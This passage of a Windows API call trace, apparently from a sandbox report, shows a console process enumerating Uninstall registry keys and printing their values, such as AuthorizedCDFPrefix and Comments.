cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.962] GetConsoleOutputCP () returned 0x1b5 [0150.962] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.962] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.962] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.962] __iob_func () returned 0x7fefd702a80 [0150.962] _fileno (_File=0x7fefd702ab0) returned 1 [0150.962] _errno () returned 0x204bb0 [0150.962] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.962] _errno () returned 0x204bb0 [0150.962] GetFileType (hFile=0x50) returned 0x1 [0150.962] lstrlenW (lpString=" ") returned 4 [0150.962] GetConsoleOutputCP () returned 0x1b5 [0150.962] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.962] GetConsoleOutputCP () returned 0x1b5 [0150.962] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.962] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.963] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.963] __iob_func () returned 0x7fefd702a80 [0150.963] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.963] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.963] _fileno (_File=0x7fefd702ab0) returned 1 [0150.963] _errno () returned 0x204bb0 [0150.963] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.963] _errno () returned 0x204bb0 [0150.963] GetFileType (hFile=0x50) returned 0x1 [0150.963] lstrlenW (lpString="0x1") returned 3 [0150.963] GetConsoleOutputCP () returned 0x1b5 [0150.963] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.963] GetConsoleOutputCP () returned 0x1b5 [0150.963] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.963] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.963] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.963] __iob_func () returned 0x7fefd702a80 [0150.963] _fileno (_File=0x7fefd702ab0) returned 1 [0150.963] _errno () returned 0x204bb0 [0150.963] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.963] _errno () returned 0x204bb0 [0150.963] GetFileType (hFile=0x50) returned 0x1 [0150.963] lstrlenW (lpString="\n") returned 1 [0150.963] GetConsoleOutputCP () returned 0x1b5 [0150.963] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.964] GetConsoleOutputCP () returned 0x1b5 [0150.964] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.964] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.964] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.964] GetProcessHeap () returned 0x3c0000 [0150.964] GetProcessHeap () returned 0x3c0000 [0150.964] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.964] GetProcessHeap () returned 0x3c0000 [0150.964] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.964] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.964] __iob_func () returned 0x7fefd702a80 [0150.964] _fileno (_File=0x7fefd702ab0) returned 1 [0150.964] _errno () returned 0x204bb0 [0150.964] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.964] _errno () returned 0x204bb0 [0150.964] GetFileType (hFile=0x50) returned 0x1 [0150.964] lstrlenW (lpString="\n") returned 1 [0150.964] GetConsoleOutputCP () returned 0x1b5 [0150.964] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.964] GetConsoleOutputCP () returned 0x1b5 [0150.964] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.964] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.964] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.964] GetProcessHeap () returned 0x3c0000 [0150.964] GetProcessHeap () returned 0x3c0000 [0150.965] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0150.965] GetProcessHeap () returned 0x3c0000 [0150.965] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x2a [0150.965] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0150.965] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.965] GetProcessHeap () returned 0x3c0000 [0150.965] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0150.965] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 121 [0150.965] GetProcessHeap () returned 0x3c0000 [0150.965] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xf6) returned 0x3e1c70 [0150.965] GetProcessHeap () returned 0x3c0000 [0150.965] GetProcessHeap () returned 0x3c0000 [0150.965] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.965] GetProcessHeap () returned 0x3c0000 [0150.965] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0150.965] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.965] GetProcessHeap () returned 0x3c0000 [0150.965] GetProcessHeap () returned 0x3c0000 [0150.965] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.965] GetProcessHeap () returned 0x3c0000 [0150.965] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xf6 [0150.965] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.965] RegCloseKey (hKey=0x5c) returned 0x0 [0150.965] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x25, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.965] __iob_func () returned 0x7fefd702a80 [0150.965] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.965] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}\n") returned 122 [0150.965] _fileno (_File=0x7fefd702ab0) returned 1 [0150.965] _errno () returned 0x204bb0 [0150.965] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.965] _errno () returned 0x204bb0 [0150.965] GetFileType (hFile=0x50) returned 0x1 [0150.965] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}\n") returned 122 [0150.965] GetConsoleOutputCP () returned 0x1b5 [0150.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}\n", cchWideChar=122, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 122 [0150.966] GetConsoleOutputCP () returned 0x1b5 [0150.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}\n", cchWideChar=122, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}\n", lpUsedDefaultChar=0x0) returned 122 [0150.966] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 122 [0150.966] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.966] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0150.966] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x19, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.966] GetProcessHeap () returned 0x3c0000 [0150.966] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x28) returned 0x3d5c30 [0150.966] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.966] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.966] GetProcessHeap () returned 0x3c0000 [0150.966] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.966] GetProcessHeap () returned 0x3c0000 [0150.966] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.966] GetProcessHeap () returned 0x3c0000 [0150.966] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.966] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.966] __iob_func () returned 0x7fefd702a80 [0150.966] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.966] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.966] _fileno (_File=0x7fefd702ab0) returned 1 [0150.966] _errno () returned 0x204bb0 [0150.966] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.966] _errno () returned 0x204bb0 [0150.966] GetFileType (hFile=0x50) returned 0x1 [0150.966] lstrlenW (lpString=" ") returned 4 [0150.966] GetConsoleOutputCP () returned 0x1b5 [0150.967] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.967] GetConsoleOutputCP () returned 0x1b5 [0150.967] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.967] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.967] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.967] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0150.967] __iob_func () returned 0x7fefd702a80 [0150.967] _fileno (_File=0x7fefd702ab0) returned 1 [0150.967] _errno () returned 0x204bb0 [0150.967] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.967] _errno () returned 0x204bb0 [0150.967] GetFileType (hFile=0x50) returned 0x1 [0150.967] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0150.967] GetConsoleOutputCP () returned 0x1b5 [0150.967] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0150.967] GetConsoleOutputCP () returned 0x1b5 [0150.967] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0150.967] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0150.967] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.967] __iob_func () returned 0x7fefd702a80 [0150.967] _fileno (_File=0x7fefd702ab0) returned 1 [0150.967] _errno () returned 0x204bb0 [0150.968] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.968] _errno () returned 0x204bb0 [0150.968] GetFileType (hFile=0x50) returned 0x1 [0150.968] lstrlenW (lpString=" ") returned 4 [0150.968] GetConsoleOutputCP () returned 0x1b5 [0150.968] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.968] GetConsoleOutputCP () returned 0x1b5 [0150.968] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.968] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.968] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.968] __iob_func () returned 0x7fefd702a80 [0150.968] _fileno (_File=0x7fefd702ab0) returned 1 [0150.968] _errno () returned 0x204bb0 [0150.968] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.968] _errno () returned 0x204bb0 [0150.968] GetFileType (hFile=0x50) returned 0x1 [0150.968] lstrlenW (lpString="REG_SZ") returned 6 [0150.968] GetConsoleOutputCP () returned 0x1b5 [0150.968] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.968] GetConsoleOutputCP () returned 0x1b5 [0150.968] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.968] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.968] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.969] __iob_func () returned 0x7fefd702a80 [0150.969] _fileno (_File=0x7fefd702ab0) returned 1 [0150.969] _errno () returned 0x204bb0 [0150.969] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.969] _errno () returned 0x204bb0 [0150.969] GetFileType (hFile=0x50) returned 0x1 [0150.969] lstrlenW (lpString=" ") returned 4 [0150.969] GetConsoleOutputCP () returned 0x1b5 [0150.969] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.969] GetConsoleOutputCP () returned 0x1b5 [0150.969] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.969] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.969] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.969] __iob_func () returned 0x7fefd702a80 [0150.969] _fileno (_File=0x7fefd702ab0) returned 1 [0150.969] _errno () returned 0x204bb0 [0150.969] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.969] _errno () returned 0x204bb0 [0150.969] GetFileType (hFile=0x50) returned 0x1 [0150.969] lstrlenW (lpString="") returned 0 [0150.969] __iob_func () returned 0x7fefd702a80 [0150.969] _fileno (_File=0x7fefd702ab0) returned 1 [0150.969] _errno () returned 0x204bb0 [0150.969] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.969] _errno () returned 0x204bb0 [0150.969] GetFileType (hFile=0x50) returned 0x1 [0150.969] lstrlenW (lpString="\n") returned 1 [0150.969] GetConsoleOutputCP () returned 0x1b5 [0150.970] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.970] GetConsoleOutputCP () returned 0x1b5 [0150.970] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.970] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.970] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.970] GetProcessHeap () returned 0x3c0000 [0150.970] GetProcessHeap () returned 0x3c0000 [0150.970] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.970] GetProcessHeap () returned 0x3c0000 [0150.970] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.970] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.970] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.970] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x9c) returned 0x0 [0150.970] GetProcessHeap () returned 0x3c0000 [0150.970] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x9e) returned 0x3e1c70 [0150.970] GetProcessHeap () returned 0x3c0000 [0150.970] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.970] GetProcessHeap () returned 0x3c0000 [0150.970] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x9e [0150.970] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0x9c | out: pdwType=0x29f700*=0x1, pvData="Caution. Removing this product might prevent some applications from running.", pcbData=0x29f780*=0x9a) returned 0x0 [0150.970] __iob_func () returned 0x7fefd702a80 [0150.970] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.970] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.970] _fileno (_File=0x7fefd702ab0) returned 1 [0150.970] _errno () returned 0x204bb0 [0150.970] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.970] _errno () returned 0x204bb0 [0150.970] GetFileType (hFile=0x50) returned 0x1 [0150.971] lstrlenW (lpString=" ") returned 4 [0150.971] GetConsoleOutputCP () returned 0x1b5 [0150.971] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.971] GetConsoleOutputCP () returned 0x1b5 [0150.971] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.971] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.971] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.971] lstrlenW (lpString="Comments") returned 8 [0150.971] __iob_func () returned 0x7fefd702a80 [0150.971] _fileno (_File=0x7fefd702ab0) returned 1 [0150.971] _errno () returned 0x204bb0 [0150.971] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.971] _errno () returned 0x204bb0 [0150.971] GetFileType (hFile=0x50) returned 0x1 [0150.971] lstrlenW (lpString="Comments") returned 8 [0150.971] GetConsoleOutputCP () returned 0x1b5 [0150.971] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.971] GetConsoleOutputCP () returned 0x1b5 [0150.971] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0150.971] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.971] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.972] __iob_func () returned 0x7fefd702a80 [0150.972] _fileno (_File=0x7fefd702ab0) returned 1 [0150.972] _errno () returned 0x204bb0 [0150.972] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.972] _errno () returned 0x204bb0 [0150.972] GetFileType (hFile=0x50) returned 0x1 [0150.972] lstrlenW (lpString=" ") returned 4 [0150.972] GetConsoleOutputCP () returned 0x1b5 [0150.972] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.972] GetConsoleOutputCP () returned 0x1b5 [0150.972] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.972] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.972] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.972] __iob_func () returned 0x7fefd702a80 [0150.972] _fileno (_File=0x7fefd702ab0) returned 1 [0150.972] _errno () returned 0x204bb0 [0150.972] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.972] _errno () returned 0x204bb0 [0150.972] GetFileType (hFile=0x50) returned 0x1 [0150.972] lstrlenW (lpString="REG_SZ") returned 6 [0150.972] GetConsoleOutputCP () returned 